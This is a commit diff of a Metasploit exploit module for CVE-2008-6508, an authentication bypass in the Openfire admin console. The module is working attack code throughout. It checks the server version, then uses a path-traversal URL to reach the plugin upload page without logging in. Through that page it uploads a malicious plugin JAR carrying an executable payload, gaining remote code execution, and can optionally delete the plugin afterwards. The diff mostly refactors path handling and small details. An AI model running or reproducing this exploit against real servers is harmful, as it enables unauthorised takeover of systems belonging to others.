changes on openfire_auth_bypass
parent
6ec990ed85
commit
245205c6c9
Binary file not shown.
|
@ -4,9 +4,9 @@ require 'rex/zip'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
|
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
@ -15,30 +15,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Name' => 'Openfire Admin Console Authentication Bypass',
|
'Name' => 'Openfire Admin Console Authentication Bypass',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits an authentication bypass vulnerability in the administration
|
This module exploits an authentication bypass vulnerability in the administration
|
||||||
console of Openfire servers. By using this vulnerability it is possible to
|
console of Openfire servers. By using this vulnerability it is possible to
|
||||||
upload/execute a malicious Openfire plugin on the server.
|
upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
|
||||||
|
code. This module has been tested against Openfire 3.6.0a.
|
||||||
Because of the file/format restrictions for Openfire plugins, it is not possible to deploy
|
|
||||||
a Java payload, instead the native payload is stored in the changelog.html which will be
|
|
||||||
renamed/executed by the plugin.
|
|
||||||
|
|
||||||
It is possible to remove the uploaded plugin after execution, however this might turn
|
It is possible to remove the uploaded plugin after execution, however this might turn
|
||||||
the server in some kind of unstable state, making re-exploitation difficult. You might want to
|
the server in some kind of unstable state, making re-exploitation difficult. You might
|
||||||
do this manually.
|
want to do this manually.
|
||||||
|
|
||||||
This module was tested against Openfire 3.6.0a.
|
|
||||||
},
|
},
|
||||||
'Author' => [ 'Andreas Kurtz', # Vulnerability discovery
|
'Author' =>
|
||||||
'h0ng10', # Metasploit module
|
[
|
||||||
|
'Andreas Kurtz', # Vulnerability discovery
|
||||||
|
'h0ng10', # Metasploit module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision: 14774 $',
|
'Version' => '$Revision: $',
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'OSVDB', '49663' ],
|
|
||||||
[ 'CVE', '2008-6508' ],
|
[ 'CVE', '2008-6508' ],
|
||||||
|
[ 'OSVDB', '49663' ],
|
||||||
[ 'BID', '32189' ],
|
[ 'BID', '32189' ],
|
||||||
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ],
|
[ 'EDB', '7075' ],
|
||||||
|
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Nov 10 2008',
|
'DisclosureDate' => 'Nov 10 2008',
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
|
@ -55,11 +53,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Platform' => 'java'
|
'Platform' => 'java'
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
#
|
#
|
||||||
# Platform specific targets
|
# Platform specific targets
|
||||||
#
|
#
|
||||||
|
|
||||||
[ 'Windows x86 (Native Payload)',
|
[ 'Windows x86 (Native Payload)',
|
||||||
{
|
{
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
@ -80,18 +76,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(9090),
|
Opt::RPORT(9090),
|
||||||
OptString.new('PATH', [ false, 'Path to the Openfire admin frontend', '/' ]),
|
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||||
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)', nil ]),
|
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
|
||||||
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)', nil ]),
|
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
|
||||||
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)', nil ]),
|
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
|
||||||
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
|
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def check
|
def check
|
||||||
path = datastore['PATH'] + 'login.jsp'
|
base = target_uri.path
|
||||||
|
base << '/' if base[-1, 1] != '/'
|
||||||
|
|
||||||
|
path = "#{base}login.jsp"
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
'uri' => path
|
'uri' => path
|
||||||
|
@ -102,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
|
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
|
||||||
|
|
||||||
if versioncheck.nil? then
|
if versioncheck.nil? then
|
||||||
print_error("Unable to detect Openfire version")
|
print_error("Unable to detect Openfire version")
|
||||||
|
@ -110,12 +107,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Detected version: #{$1}.#{$2}.#{$3}")
|
print_status("Detected version: #{$1}.#{$2}.#{$3}")
|
||||||
version = "#{$1}#{$2}#{$3}".to_i
|
version = "#{$1}#{$2}#{$3}".to_i
|
||||||
|
|
||||||
return Exploit::CheckCode::Save if version > 360
|
return Exploit::CheckCode::Safe if version > 360
|
||||||
|
|
||||||
# Just to be sure, try to access the log page
|
# Just to be sure, try to access the log page
|
||||||
path = datastore['PATH'] + 'setup/setup-/../../log.jsp'
|
path = "#{base}setup/setup-/../../log.jsp"
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
'uri' => path
|
'uri' => path
|
||||||
|
@ -123,13 +120,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if (not res) or (res.code != 200)
|
if (not res) or (res.code != 200)
|
||||||
print_error("Failed: Error requesting #{path}")
|
print_error("Failed: Error requesting #{path}")
|
||||||
return nil
|
return Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
Exploit::CheckCode::Vulnerable
|
Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_plugin_jar(plugin_name)
|
def get_plugin_jar(plugin_name)
|
||||||
files = [
|
files = [
|
||||||
[ "logo_large.gif" ],
|
[ "logo_large.gif" ],
|
||||||
|
@ -141,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
jar = Rex::Zip::Jar.new
|
jar = Rex::Zip::Jar.new
|
||||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
|
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
|
||||||
|
|
||||||
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
||||||
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
||||||
|
|
||||||
|
@ -155,8 +151,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
jar
|
jar
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
base = target_uri.path
|
||||||
|
base << '/' if base[-1, 1] != '/'
|
||||||
|
|
||||||
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
|
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
|
||||||
plugin = get_plugin_jar(plugin_name)
|
plugin = get_plugin_jar(plugin_name)
|
||||||
|
|
||||||
|
@ -165,12 +163,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
||||||
|
|
||||||
|
|
||||||
#plugin.add_file("readme.html", exe)
|
|
||||||
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
||||||
plugin.build_manifest
|
plugin.build_manifest
|
||||||
|
|
||||||
|
|
||||||
# Upload the plugin to the server
|
# Upload the plugin to the server
|
||||||
print_status("Uploading plugin #{plugin_name} to the server")
|
print_status("Uploading plugin #{plugin_name} to the server")
|
||||||
boundary = rand_text_alphanumeric(6)
|
boundary = rand_text_alphanumeric(6)
|
||||||
|
@ -181,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
data << "\r\n--#{boundary}--"
|
data << "\r\n--#{boundary}--"
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => datastore['PATH'] + 'setup/setup-/../../plugin-admin.jsp?uploadplugin',
|
'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin",
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'data' => data,
|
'data' => data,
|
||||||
'headers' =>
|
'headers' =>
|
||||||
|
@ -195,24 +190,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
print_error("Warning: got no response from the upload, continuing...") if !res
|
print_error("Warning: got no response from the upload, continuing...") if !res
|
||||||
|
|
||||||
# Sometimes the server needs some time to deploy the plugin, so we wait...
|
|
||||||
1.upto(120) do
|
|
||||||
break if session_created?
|
|
||||||
select(nil, nil, nil, 0.25)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Delete the uploaded JAR file
|
# Delete the uploaded JAR file
|
||||||
if datastore['REMOVE_PLUGIN'] then
|
if datastore['REMOVE_PLUGIN'] then
|
||||||
print_status("Try to remove plugin #{plugin_name} from the server")
|
print_status("Deleting plugin #{plugin_name} from the server")
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => datastore['PATH'] + "setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
|
'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||||
}
|
}
|
||||||
}, 3)
|
})
|
||||||
|
if not res
|
||||||
|
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue